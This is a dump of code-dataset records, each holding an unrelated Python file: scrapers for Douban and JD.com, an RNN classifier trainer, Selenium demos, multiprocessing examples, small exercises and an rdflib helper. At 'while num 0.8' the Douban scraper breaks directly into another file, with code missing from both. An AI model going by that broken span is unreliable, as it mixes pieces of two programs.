NotValidJackFileError(filename)\n\ndef comp_extension(filename,extension):\n return os.path.basename(filename).split(\".\")[-1] == extension\n\ndef create_xml_path(filename):\n directory = os.path.dirname(filename)\n file = os.path.basename(filename).split(\".\")[0]\n xml_file = file+\"_output.xml\"\n return os.path.join(directory,xml_file)\n\nif __name__ == \"__main__\":\n from sys import argv\n #from xml.etree import ElementTree as ET\n try:\n for file in get_jack_files(argv[1]):\n print(file)\n compiler = CompilationEngine(file)\n #xml = compiler.getXML()\n #with open(create_xml_path(file),'w') as doc:\n # doc.write(ET.tostring(xml,'unicode')) \n\n except IOError as e:\n print(e)\n except NotValidJackFileError as e:\n print(e)","sub_path":"11/parser/CompilationEngine.py","file_name":"CompilationEngine.py","file_ext":"py","file_size_in_byte":27821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"513503924","text":"#python3用requests模块完成豆瓣的爬取\nimport requests\nimport json\nfrom parse import parse_url\n\n\nclass DoubanSpider:\n\n\t#构造\n\tdef __init__(self):\n\t\tself.temp_url=\"https://m.douban.com/rexxar/api/v2/subject_collection/filter_tv_american_hot/items?os=ios&for_mobile=1&start={}&count=18&loc_id=108288&_=0\"\n\n\t\t# self.temp_url=\"https://m.douban.com/rexxar/api/v2/subject_collection/filter_tv_american_hot/items?os=ios&for_mobile=1&start={}&count=18&loc_id=108288&_=1527735210279\"#提取数据\n\t#提取数据\n\tdef get_content_list(self,html_str):\n\t\tdict_data=json.loads(html_str)\n\t\tcontent_list=dict_data[\"subject_collection_items\"]\n\t\ttotal=dict_data[\"total\"]\n\t\treturn content_list,total\n\n\t#保存\n\tdef save_content_list(self,content_list):\n\t\twith open(\"doubanspider.json\",\"a\",encoding=\"utf-8\") as f:\n\t\t\tfor content in content_list:\n\t\t\t\tf.write(json.dumps(content,ensure_ascii=False))\n\t\t\t\tf.write(\"\\n\")\n\t\tprint(\"保存成功\")\n\n\n\tdef run(self):\n\t\ttotal=100\n\t\tnum = 0\n\t\twhile num 0.8\n valid = np.where(valid_set, 'valid', 'train')\n df_meta['subset'] = valid\n df_meta.reset_index(drop=True).to_csv(new_path / 'meta' / 'meta.csv',\n index=None)\n","sub_path":"crystal_clear/crappify.py","file_name":"crappify.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"491888509","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time : 2018/7/16 20:24\n# @Author : chen\n# @File : JoinableQueue模块.py\n\n\n# import socket\n# from multiprocessing import Process\n#\n#\n# server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n# server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n# server.bind(('127.0.0.1', 9000))\n# server.listen(5)\n#\n# while True:\n# conn, addr = server.accept()\n# data = conn.recv(1024)\n# conn.send(data.upper())\n\n\nfrom multiprocessing import Process, JoinableQueue\nimport time, random, os\n\n\ndef consumer(q, name):\n while True:\n res = q.get()\n # time.sleep(random.randint(1, 3))\n # if res is None:\n # break\n print('%s 吃 %s' % (name, res))\n q.task_done()\n\n\ndef producer(q, name, food):\n for i in range(5):\n # time.sleep(random.randint(1, 3))\n res = '%s%s' % (food, i)\n q.put(res)\n print('%s 生产了 %s' % (name, res))\n q.join()\n\n\nif __name__ == '__main__':\n q = JoinableQueue()\n p1 = Process(target=producer, args=(q, 'egon', '包子'))\n p2 = Process(target=producer, args=(q, 'egon1', '包子'))\n p3 = Process(target=producer, args=(q, 'egon2', '包子'))\n c1 = Process(target=consumer, args=(q, 'alex'))\n c2 = Process(target=consumer, args=(q, 'alex1'))\n c1.daemon = True # 不加这个,程序仍然会卡死不结束\n c2.daemon = True\n p1.start()\n p2.start()\n p3.start()\n c1.start()\n c2.start()\n p1.join()\n p2.join()\n p3.join()\n print('主')\n # 1、主进程等生产者p1、p2、p3结束\n # 2、而p1、p2、p3是在消费者把所有数据都取干净之后才会结束\n # 3、所以一旦p1、p2、p3结束了,证明消费者也没必要存在了,应该随着主进程一块死掉,因而需要将生产者们设置成守护进程\n","sub_path":"多进程多线程/JoinableQueue模块.py","file_name":"JoinableQueue模块.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"562006780","text":"t = int(raw_input())\n\nfor i in range(t):\n\ta = []\n\ta = raw_input().split()\n\tm = int(a[0])\n\tn = int(a[1])\n\td = int(a[2])\n\n\tprint (n/d) - (m-1)/d","sub_path":"he-pledge/crazy_kangaro.py","file_name":"crazy_kangaro.py","file_ext":"py","file_size_in_byte":142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"487024548","text":"#!/bin/env python\n\nimport numpy as np\nimport glob\nimport natsort\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport IPython\n\nensemble_files = natsort.natsorted(glob.glob('*npy'))\n\ntemps = []\navgs = []\nstds = []\nfor f in ensemble_files:\n temp = float(f.split('_')[0].split('T')[-1])\n\n configurations = np.load(f)\n mag = configurations.sum(1).sum(1) / configurations[0].size\n avg = mag.mean()\n std = mag.std()\n\n temps.append(temp)\n avgs.append(avg)\n stds.append(std)\n\nplt.figure()\nplt.errorbar(temps, avgs, yerr=stds, fmt='--o')\nplt.ylabel('')\nplt.xlabel('T')\nplt.savefig('mag_T.png')\n","sub_path":"samples/mag.py","file_name":"mag.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"80070601","text":"from math import sqrt\nfrom itertools import islice\n\n\ndef primes():\n \"\"\"Simple generator of primes by trial division\"\"\"\n yield 2\n candidate = 3\n while True:\n for i in range(3, int(sqrt(candidate)) + 1, 2):\n if (candidate % i) == 0:\n break\n else:\n yield candidate\n candidate += 2\n\n\ndef nth_prime(n):\n \"\"\"Get the nth prime number (for 1-based n)\n\n Uses islice to index into the primes() generator\n \"\"\"\n return next(islice(primes(), n - 1, None))\n\n\nif __name__ == \"__main__\":\n print(nth_prime(10_001))\n","sub_path":"Problem7.py","file_name":"Problem7.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"280754824","text":"def bottom():\n print('in bottom')\n return (yield 42)\n\n\ndef middle():\n print('in middle')\n return (yield from bottom())\n\n\ndef top():\n print('in top')\n return (yield from middle())\n\n\nprint('top')\ngen = top()\nprint('top next')\nvalue = next(gen)\nprint(value)\n\ntry:\n print('gen send')\n value = gen.send(value * 2)\nexcept StopIteration as e:\n value = e.value\n\nprint(value)\n","sub_path":"learn_teory/asyncio/tenzor/nested_generator.py","file_name":"nested_generator.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"495475169","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport math\nimport random\nimport os\nimport pickle\nimport time\nimport vsmlib\nfrom preprocess import *\nfrom torch.nn import init\nfrom tqdm import tqdm\nfrom torch.autograd import Variable\nimport matplotlib.pyplot as plt\nimport csv\nfrom sklearn.metrics import f1_score, precision_score, recall_score\nfrom sklearn.metrics import precision_recall_fscore_support as score\nfrom sklearn.metrics import classification_report\n\nclass RNN(nn.Module):\n def __init__(self):\n super(RNN, self).__init__()\n self.input_dim = 500\n self.hidden_dim = 128\n self.output_dim = 1\n self.num_rnn_layers = 2\n self.nonlinearity = 'tanh'\n self.sigmoid = nn.Sigmoid()\n self.log_softmax = nn.LogSoftmax()\n self.loss = nn.NLLLoss()\n self.lstm = nn.GRU(input_size = self.input_dim, hidden_size = self.hidden_dim, num_layers = self.num_rnn_layers, batch_first=True, bidirectional=True)\n self.rnn = nn.RNN(input_size = self.input_dim, hidden_size = self.hidden_dim, num_layers = self.num_rnn_layers, batch_first=True, nonlinearity=self.nonlinearity)\n self.fc = nn.Linear(self.hidden_dim, self.output_dim)\n\n def get_loss(self, predicted_vector, gold_label):\n return self.loss(predicted_vector, gold_label)\n \n def forward(self, inputs):\n h0 = Variable(torch.zeros(self.num_rnn_layers*2, inputs.size(0), self.hidden_dim))\n #out, hn = self.rnn(inputs, h0)\n out, hn = self.lstm(inputs, h0)\n # z1 = self.fc(out[:, -1, :])\n z1 = self.fc((out[:, -1, :self.hidden_dim] + out[:,0,self.hidden_dim:])/2)\n return self.sigmoid(z1)\n \ndef performTrain(model, optimizer, train_data, train_ids):\n c = list(zip(train_data, train_ids))\n random.shuffle(c)\n train_data, train_ids = zip(*c)\n\n #random.shuffle(train_data)\n predicted_prob = []\n gold_labels = []\n N = len(train_data)\n correct = 0\n total = 0\n totalloss = 0\n minibatch_size = 6\n criterion = nn.BCELoss()\n\n for minibatch_index in tqdm(range(N // minibatch_size)):\n optimizer.zero_grad()\n loss = None\n for example_index in range(minibatch_size):\n input_vector, gold_label = train_data[minibatch_index * minibatch_size + example_index]\n predicted_vector = model(input_vector.float())\n predicted_prob.append(predicted_vector)\n gold_labels.append(gold_label)\n #predicted_label = torch.argmax(predicted_vector)\n if predicted_vector > 0.5:\n predicted_label = 1\n else:\n predicted_label = 0\n correct += int(predicted_label == gold_label)\n total +=1\n #instance_loss = model.get_loss(predicted_vector.view(1,-1), torch.tensor([gold_label]))\n predicted_vector = predicted_vector.squeeze(1)\n predicted_vector = predicted_vector.squeeze(0)\n l = criterion(predicted_vector, torch.tensor(float(gold_label)))\n if(loss is None):\n loss = l\n else:\n loss += l\n loss = loss / minibatch_size\n loss.backward()\n #torch.nn.utils.clip_grad_norm_(model.parameters(), 0.5)\n optimizer.step()\n totalloss +=loss\n accuracy = (correct / total) * 100\n return totalloss/(N // minibatch_size), accuracy, predicted_prob, gold_labels, train_ids\n\ndef validate(model, val_data):\n criterion = nn.BCELoss()\n correct = 0\n loss = None\n true_label = []\n pred_label = []\n pred_prob = []\n for i in tqdm(range(len(val_data))):\n input_vector, gold_label = val_data[i]\n true_label.append(gold_label)\n predicted_vector = model(input_vector.float())\n pred_prob.append(predicted_vector)\n #predicted_label = torch.argmax(predicted_vector)\n if predicted_vector > 0.5:\n predicted_label = 1\n else:\n predicted_label = 0\n pred_label.append(predicted_label)\n\n correct += int(predicted_label == gold_label)\n #instance_loss = model.get_loss(predicted_vector.view(1,-1), torch.tensor([gold_label]))\n predicted_vector = predicted_vector.squeeze(1)\n predicted_vector = predicted_vector.squeeze(0)\n l = criterion(predicted_vector, torch.tensor(float(gold_label)))\n\n if(loss is None):\n loss = l\n else:\n loss += l\n loss = loss / len(val_data)\n accuracy = (correct / len(val_data)) * 100\n fscore = f1_score(true_label,pred_label)\n recall = recall_score(true_label,pred_label)\n precision = precision_score(true_label,pred_label)\n\n target_names = ['class 0', 'class 1']\n print(classification_report(true_label, pred_label, target_names=target_names))\n #print(pred_label)\n return loss.data, accuracy, fscore, recall, precision, pred_prob\n\ndef test(model, test_data):\n pred_label = []\n pred_prob = []\n for i in tqdm(range(len(test_data))):\n input_vector, _ = test_data[i]\n predicted_vector = model(input_vector.float())\n pred_prob.append(predicted_vector)\n if predicted_vector > 0.5:\n predicted_label = 1\n else:\n predicted_label = 0\n pred_label.append(predicted_label)\n return pred_prob, pred_label\n\ndef main(num_epoch = 20):\n count = 0\n train_ids, train_data = readData(\"train.csv\")\n dev_ids, dev_data = readData(\"dev.csv\")\n model = RNN()\n optimizer = optim.Adagrad(model.parameters(),lr=0.0001)\n model = model.float()\n criterion = nn.BCELoss()\n\n model.load_state_dict(torch.load(\"RNNmodel40.pth\"))\n\n train_accuracy_history = []\n train_loss_history = []\n\n val_loss_history = []\n val_accuracy_history = []\n val_fscore_history = []\n val_recall_history = []\n val_precision_history = []\n\n for epoch in range(num_epoch):\n count += 1\n model.train()\n optimizer.zero_grad()\n start_time = time.time()\n train_loss, train_accuracy, train_predicted_prob, train_gold_labels, ids = performTrain(model, optimizer, train_data, train_ids)\n print(\"Training accuracy for epoch {}: {}\".format(epoch + 1, train_accuracy))\n print(\"Training time for this epoch: {}\".format(time.time() - start_time))\n start_time = time.time()\n val_loss, val_accuracy, val_fscore, val_recall, val_precision, val_predicted_prob = validate(model, dev_data)\n print(\"Validation accuracy for epoch {}: {}\".format(epoch + 1, val_accuracy))\n print(\"Validation time for this epoch: {}\".format(time.time() - start_time))\n train_loss_history.append(train_loss)\n train_accuracy_history.append(train_accuracy)\n val_loss_history.append(val_loss)\n val_accuracy_history.append(val_accuracy)\n val_fscore_history.append(val_fscore)\n val_recall_history.append(val_recall)\n val_precision_history.append(val_precision)\n\n #saving model aftr every epoch\n path = \"RNNmodel\"\n torch.save(model.state_dict(),path + str(count+40) + \".pth\")\n\n #save the predicted rnn prob feature\n train_rnn_pred = []\n dev_rnn_pred = []\n for i in range(len(train_ids)):\n _, label = train_data[i]\n for j in range(len(ids)):\n if ids[j] == train_ids[i] and label == train_gold_labels[j]:\n train_rnn_pred.append(train_predicted_prob[j])\n \n for i in range(len(dev_ids)):\n dev_rnn_pred.append(val_predicted_prob[i])\n\n file_path = \"RNNtrain\" + str(count+40) +\".csv\"\n with open(file_path, \"w\") as f:\n for i in range(len(train_rnn_pred)):\n f.write(train_ids[i])\n _,label = train_data[i]\n f.write(',%s' % label)\n f.write(',%s\\n' % train_rnn_pred[i])\n\n file_path = \"RNNdev\" + str(count+40) +\".csv\"\n with open(file_path, \"w\") as f:\n for i in range(len(dev_rnn_pred)):\n f.write(dev_ids[i])\n _,label = dev_data[i]\n f.write(',%s' % label)\n f.write(',%s\\n' % dev_rnn_pred[i])\n\n print(\"Training Set Metrics\")\n print(train_accuracy_history)\n print(train_loss_history)\n\n print(\"Validation Set Metrics\")\n print(val_loss_history)\n print(val_accuracy_history)\n print(val_fscore_history)\n print(val_precision_history)\n print(val_recall_history)\n\n print(\"Number of Parameters\")\n # Number of parameters\n pytorch_total_params = sum(p.numel() for p in model.parameters() if p.requires_grad)\n for p in model.parameters():\n if p.requires_grad:\n print(p.numel())\n print(pytorch_total_params)\n\n # training loss \n iteration_list = [i+1 for i in range(count)]\n plt.plot(iteration_list,train_loss_history)\n plt.xlabel(\"Number of Epochs\")\n plt.ylabel(\"Training Loss\")\n plt.title(\"RNN: Loss vs Number of Epochs\")\n #plt.show()\n plt.savefig('train_loss_history.png')\n plt.clf()\n \n # training accuracy\n plt.plot(iteration_list,train_accuracy_history)\n plt.xlabel(\"Number of Epochs\")\n plt.ylabel(\"Training Accuracy\")\n plt.title(\"RNN: Accuracy vs Number of Epochs\")\n #plt.show()\n plt.savefig('train_accuracy_history.png')\n plt.clf()\n\n # validation loss \n plt.plot(iteration_list,val_loss_history,color = \"red\")\n plt.xlabel(\"Number of Epochs\")\n plt.ylabel(\"Validation Loss\")\n plt.title(\"RNN: Loss vs Number of Epochs\")\n #plt.show()\n plt.savefig('val_loss_history.png')\n plt.clf()\n\n # validation accuracy\n plt.plot(iteration_list,val_accuracy_history,color = \"red\")\n plt.xlabel(\"Number of Epochs\")\n plt.ylabel(\"Validation Accuracy\")\n plt.title(\"RNN: Accuracy vs Number of Epochs\")\n #plt.show()\n plt.savefig('val_accuracy_history.png')\n plt.clf()\n\n # validation fscore\n plt.plot(iteration_list,val_fscore_history,color = \"red\")\n plt.xlabel(\"Number of Epochs\")\n plt.ylabel(\"Validation FScore\")\n plt.title(\"RNN: Fscore vs Number of Epochs\")\n #plt.show()\n plt.savefig('val_fscore_history.png')\n plt.clf()\n\n # validation recall\n plt.plot(iteration_list,val_recall_history,color = \"red\")\n plt.xlabel(\"Number of Epochs\")\n plt.ylabel(\"Validation Recall\")\n plt.title(\"RNN: Recall vs Number of Epochs\")\n #plt.show()\n plt.savefig('val_recall_history.png')\n plt.clf()\n\n # validation precision\n plt.plot(iteration_list,val_precision_history,color = \"red\")\n plt.xlabel(\"Number of Epochs\")\n plt.ylabel(\"Validation Precision\")\n plt.title(\"RNN: Precision vs Number of Epochs\")\n #plt.show()\n plt.savefig('val_precision_history.png')\n plt.clf()\n\ndef predict_test(pathname):\n model = RNN()\n model = model.float()\n if os.path.exists(pathname):\n model.load_state_dict(torch.load(pathname))\n print(\"Successful\")\n\n test_ids, test_data = readData(\"test.csv\")\n pred_prob, pred_label = test(model,test_data)\n\n file_path = \"predtest.csv\"\n with open(file_path, \"w\") as f:\n for i in range(len(pred_prob)):\n f.write('%s\\n' % pred_prob[i])\n\nmain()\n#predict_test(\"model3_4.pth\")","sub_path":"rnn.py","file_name":"rnn.py","file_ext":"py","file_size_in_byte":11236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"174326249","text":"import os\nimport dill, pickle\nimport json\nimport pandas as pd\n\n\n \ndef save_pickle(obj, filename, use_dill=False, protocol=4, create_folder=True):\n \"\"\" Basic pickle/dill dumping.\n\n Given a python object and a filename, the method will save the object under that filename.\n\n Args:\n obj (python object): The object to be saved.\n filename (str): Location to save the file.\n use_dill (bool): Set True to save using dill.\n protocol (int): Pickling protocol (see pickle docs).\n create_folder (bool): Set True to create the folder if it does not already exist.\n\n Returns:\n None\n \"\"\"\n if create_folder:\n _create_folder_if_not_exist(filename)\n\n # Save\n with open(filename, 'wb') as file:\n if not use_dill:\n pickle.dump(obj, file, protocol=protocol)\n else:\n dill.dump(obj, file)\n\n\ndef load_pickle(filename):\n \"\"\" Basic dill/pickle load function.\n\n Args:\n filename (str): Location of the object.\n\n Returns:\n python object: The loaded object.\n \"\"\"\n\n with open(filename, 'rb') as file:\n if filename.split('.')[-1] == 'dill':\n obj = dill.load(file)\n else:\n obj = pickle.load(file)\n return obj\n\ndef _create_folder_if_not_exist(filename):\n \"\"\" Makes a folder if the folder component of the filename does not already exist. \"\"\"\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n\n\ndef load_json(filename):\n \"\"\" Load file with json. \"\"\"\n with open(filename) as file:\n obj = json.load(file)\n return obj\n\n\n","sub_path":"src/omni/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"109513160","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.firefox.firefox_binary import FirefoxBinary\r\n\r\n\r\nclass findElementByXpathAndCss():\r\n\r\n def test_ByXpath(self):\r\n baseUrl = \"https://courses.letskodeit.com/practice\"\r\n binary = FirefoxBinary(\"C:\\\\Program Files\\\\Mozilla Firefox\\\\firefox.exe\")\r\n driver = webdriver.Firefox(firefox_binary=binary)\r\n driver.get(baseUrl)\r\n elementByXpath = driver.find_element(By.XPATH, \"//input[@placeholder='Hide/Show Example']\")\r\n if elementByXpath is not None:\r\n print(\"Found Element By Xpath On UI\")\r\n driver.close()\r\n\r\n def test_ByCss(self):\r\n baseUrl = \"https://courses.letskodeit.com/practice\"\r\n binary = FirefoxBinary(\"C:\\\\Program Files\\\\Mozilla Firefox\\\\firefox.exe\")\r\n driver = webdriver.Firefox(firefox_binary=binary)\r\n\r\n driver.get(baseUrl)\r\n elementByCss = driver.find_element(By.CSS_SELECTOR, \"#enabled-example-input\")\r\n if elementByCss is not None:\r\n print(\"Found Element By CSS_SELECTOR On UI\")\r\n\r\n driver.close()\r\n\r\nobj = findElementByXpathAndCss()\r\nobj.test_ByXpath()\r\nobj.test_ByCss()\r\n","sub_path":"findingElements/findElementByXpathAndCss.py","file_name":"findElementByXpathAndCss.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"237277560","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n# 读入训练数据\ntrain = np.loadtxt('data3.csv', delimiter=',', skiprows=1)\ntrain_x = train[:,0:2]\ntrain_y = train[:,2]\n\n# 参数初始化\ntheta = np.random.rand(4)\n\n# 标准化\nmu = train_x.mean(axis=0)\nsigma = train_x.std(axis=0)\ndef standardize(x):\n return (x - mu) / sigma\n\ntrain_z = standardize(train_x)\n\n# 增加 x0 和 x3\ndef to_matrix(x):\n x0 = np.ones([x.shape[0], 1])\n x3 = x[:,0,np.newaxis] ** 2\n return np.hstack([x0, x, x3])\n\nX = to_matrix(train_z)\n\n# sigmoid 函数\ndef f(x):\n return 1 / (1 + np.exp(-np.dot(x, theta)))\n\n# 分类函数\ndef classify(x):\n return (f(x) >= 0.5).astype(np.int)\n\n# 学习率\nETA = 1e-3\n\n# 重复次数\nepoch = 5000\n\n# 更新次数\ncount = 0\n\n# 重复学习\nfor _ in range(epoch):\n # 使用随机梯度下降法更新参数\n p = np.random.permutation(X.shape[0])\n for x, y in zip(X[p,:], train_y[p]):\n theta = theta - ETA * (f(x) - y) * x\n\n # 日志输出\n count += 1\n print('第 {} 次 : theta = {}'.format(count, theta))\n\n# 绘图确认\nx1 = np.linspace(-2, 2, 100)\nx2 = -(theta[0] + theta[1] * x1 + theta[3] * x1 ** 2) / theta[2]\nplt.plot(train_z[train_y == 1, 0], train_z[train_y == 1, 1], 'o')\nplt.plot(train_z[train_y == 0, 0], train_z[train_y == 0, 1], 'x')\nplt.plot(x1, x2, linestyle='dashed')\nplt.show()\n","sub_path":"ML_Math/sourcecode-cn/classification4_logistic_regression_sgd.py","file_name":"classification4_logistic_regression_sgd.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"368251108","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.common.by import By # 选择器操作,查找我们的一个选择器\r\nfrom selenium.webdriver.support import expected_conditions as EC # 这是一个类,用来条件发起\r\nfrom selenium.webdriver.support.ui import WebDriverWait # 设置等待\r\nfrom selenium.common.exceptions import TimeoutException # 超时异常\r\nfrom bs4 import BeautifulSoup\r\nimport pymongo\r\nimport time\r\n\r\n# 启动浏览器\r\nbrowser = webdriver.Chrome()\r\nwait = WebDriverWait(browser, 50)\r\n\r\n# 连接数据库\r\nclient = pymongo.MongoClient('127.0.0.1', 27017)\r\ndb = client.jd_computer\r\ncollection = db.computer\r\n\r\n\r\ndef to_mongodb(data):\r\n # 数据存��,尽量加个try\r\n try:\r\n collection.insert(data)\r\n print('数据插入成功')\r\n except Exception as e:\r\n print(e)\r\n print('数据插入失败')\r\n\r\ndef search():\r\n browser.get('https://www.jd.com/')\r\n try:\r\n # EC 预期条件实现,是否出现定位到了这个选择器的这个属性\r\n input = wait.until(EC.presence_of_all_elements_located((By.CSS_SELECTOR, \"#key\"))) # 扔的是一个元祖\r\n submit = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, \"#search > div > div.form > button\")))\r\n input[0].send_keys('笔记本')\r\n # input[0].send_keys(Keys.CONTROL, 'a') # 剪切操作\r\n # input[0].send_keys(Keys.CONTROL, 'x')\r\n # time.sleep(500)\r\n submit.click()\r\n # 查找笔记本按钮,以及销量按钮\r\n button1 = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, '#J_selector > div:nth-child(2) >div > div.sl-value > div.sl-v-list > ul > li:nth-child(1) a')))\r\n print('好了')\r\n button1.click()\r\n # time.sleep(3)\r\n button2 = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, '#J_filter > div.f-line.top > div.f-sort > a:nth-child(2)')))\r\n button2.click()\r\n print('我也好了')\r\n # 获取总页数\r\n page = wait.until(EC.presence_of_all_elements_located((By.CSS_SELECTOR, \"#J_bottomPage>span.p-skip>em:nth-child(1) > b\")))\r\n return page[0].text\r\n\r\n\r\n except TimeoutException:\r\n print('gg')\r\n search()\r\n\r\n# 获取下一页\r\ndef next_page(page_num):\r\n # 滑动网页到底部,加载所有商品信息\r\n print(page_num)\r\n try:\r\n for i in range(1, 3):\r\n browser.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n time.sleep(1)\r\n\r\n html = browser.page_source\r\n parse_html(html)\r\n if page_num == 101:\r\n exit()\r\n # 查找下一页按钮,并点击 找点击\r\n button3 = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, '#J_bottomPage>span.p-num a.pn-next >em')))\r\n button3.click()\r\n print('我真的点击了下一页')\r\n # 判断商品 找元素\r\n wait.until(EC.presence_of_all_elements_located((By.CSS_SELECTOR, \"#J_goodsList>ul>li:nth(60)\")))\r\n # 获取值元素 找文本\r\n # 判断翻页是否成功\r\n wait.until(EC.text_to_be_present_in_element((By.CSS_SELECTOR, \"#J_bottomPage > span.p-num >a.curr\"), str(page_num)))\r\n print(123)\r\n\r\n except TimeoutException:\r\n return next_page(page_num)\r\n\r\n\r\ndef parse_html(html):\r\n '''\r\n 解析网页数据\r\n '''\r\n data = {}\r\n soup = BeautifulSoup(html, 'lxml')\r\n goods_info = soup.select('.gl-item')\r\n # 查看当前商品数量,是否加载完成\r\n quantity = str(len(goods_info))\r\n print(quantity)\r\n for info in goods_info:\r\n # 获取商品标题信息\r\n title = info.select('.p-name.p-name-type-2 a em')[0].text.strip()\r\n print(title)\r\n data[\"_id\"] = title\r\n price = info.select('.p-price i')[0].text.strip()\r\n price = int(float(price))\r\n data[\"price\"] = price\r\n # 获取商品的评论数\r\n commit = info.select(\".p-commit strong\")[0].text.strip()\r\n commit = commit.replace('条评价', '')\r\n if '万' in commit:\r\n commit = commit.split('万')\r\n commit = int(float(commit[0]))*10000\r\n else:\r\n commit = int(float(commit.replace('+', '')))\r\n data['commit'] = commit\r\n print(price, '---------', commit)\r\n # 判断是否是自营 数据往date里写\r\n shop_property = info.select('.p-icons i')\r\n if len(shop_property) >= 1:\r\n mess = shop_property[0].text.strip()\r\n if mess == '自营':\r\n data['shop_property'] = '自营'\r\n else:\r\n data['shop_property'] = '非自营'\r\n else:\r\n data['shop_property'] = '非自营'\r\n to_mongodb(data)\r\n print('*'*30)\r\n print(data)\r\n\r\ndef main():\r\n total_page = search()\r\n total = int(total_page)\r\n for i in range(2, total+2):\r\n time.sleep(8)\r\n print('第', i-1, '页:')\r\n next_page(i)\r\nif __name__ == '__main__':\r\n main()\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"other/jd_sele_mongo.py","file_name":"jd_sele_mongo.py","file_ext":"py","file_size_in_byte":5080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"219252237","text":"class Account:\n def __init__(self, name=None, balance=None):\n self.name = name\n self.balance = balance\n\n if self.name == None:\n self.name = \"Default Account\"\n\n if self.balance == None:\n self.balance = 0.0\n\n def withdraw(self, amount):\n var = self.balance - amount\n if var <= 3070.0:\n print(\n \"Sorry, Withdraw unsuccessful! The account balance after deducting withdraw amount is equal to or less than minimum.\"\n )\n else:\n print(f\"Withdraw successful! New balance is: {var}\")\n\n def details(self):\n return f\"{self.name}\\n{self.balance:.1f}\"\n\n\na1 = Account()\nprint(a1.details())\nprint(\"------------------------\")\na1.name = \"Oliver\"\na1.balance = 10000.0\nprint(a1.details())\nprint(\"------------------------\")\na2 = Account(\"Liam\")\nprint(a2.details())\nprint(\"------------------------\")\na3 = Account(\"Noah\", 400)\nprint(a3.details())\nprint(\"------------------------\")\na1.withdraw(6930)\nprint(\"------------------------\")\na2.withdraw(600)\nprint(\"------------------------\")\na1.withdraw(6929)\n","sub_path":"Assignment 04/Problem 15.py","file_name":"Problem 15.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"326959823","text":"# encoding: utf-8\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport sys\nfrom functools import wraps\nfrom itertools import izip_longest\nfrom timeit import default_timer as timer\nimport traceback\n\nfrom cachetools import LRUCache\nimport numpy as np\nimport rdflib\nimport rdflib.exceptions\nfrom rdflib import BNode\nfrom rdflib import Literal\nfrom rdflib import URIRef\nfrom rdflib import Variable\nfrom rdflib import namespace\nfrom rdflib.namespace import NamespaceManager\nimport scoop\nimport six\n\n\n# TODO: maybe automagically get these from http://prefix.cc ?\n# TODO: make this configurable\n_nsm = NamespaceManager(rdflib.Graph())\n_nsm._NamespaceManager__cache = LRUCache(maxsize=2000) # TODO: upstream rdflib?\n_nsm.bind('owl', namespace.OWL)\n_nsm.bind('xsd', namespace.XSD)\n_nsm.bind('foaf', namespace.FOAF)\n_nsm.bind('skos', namespace.SKOS)\n_nsm.bind('doap', namespace.DOAP)\n_nsm.bind('dc', namespace.DC)\n_nsm.bind('dct', namespace.DCTERMS)\n_nsm.bind('void', namespace.VOID)\n_nsm.bind('dbpedia', 'http://dbpedia.org/resource/') # decurification fallback\n_nsm.bind('dbr', 'http://dbpedia.org/resource/') # will curify as this\n_nsm.bind('dbc', 'http://dbpedia.org/resource/Category:')\n_nsm.bind('dbt', 'http://dbpedia.org/resource/Template:')\n_nsm.bind('dbo', 'http://dbpedia.org/ontology/')\n_nsm.bind('dbp', 'http://dbpedia.org/property/')\n_nsm.bind('fb', 'http://rdf.freebase.com/')\n_nsm.bind('wd', 'http://www.wikidata.org/entity/')\n_nsm.bind('enwiki', 'http://en.wikipedia.org/wiki/')\n_nsm.bind('gold', 'http://purl.org/linguistics/gold/')\n_nsm.bind('prov', 'http://www.w3.org/ns/prov#')\n_nsm.bind('schema', 'http://schema.org/')\n\n\nclass URIShortener(object):\n \"\"\"Wrapper around curify and decurify that remembers used prefixes.\"\"\"\n def __init__(self, prefixes=None):\n self.prefixes = {}\n self.set_prefixes(prefixes)\n\n def curify(self, identifier):\n res, prefix, ns_n3 = curify(identifier, return_used=True)\n if 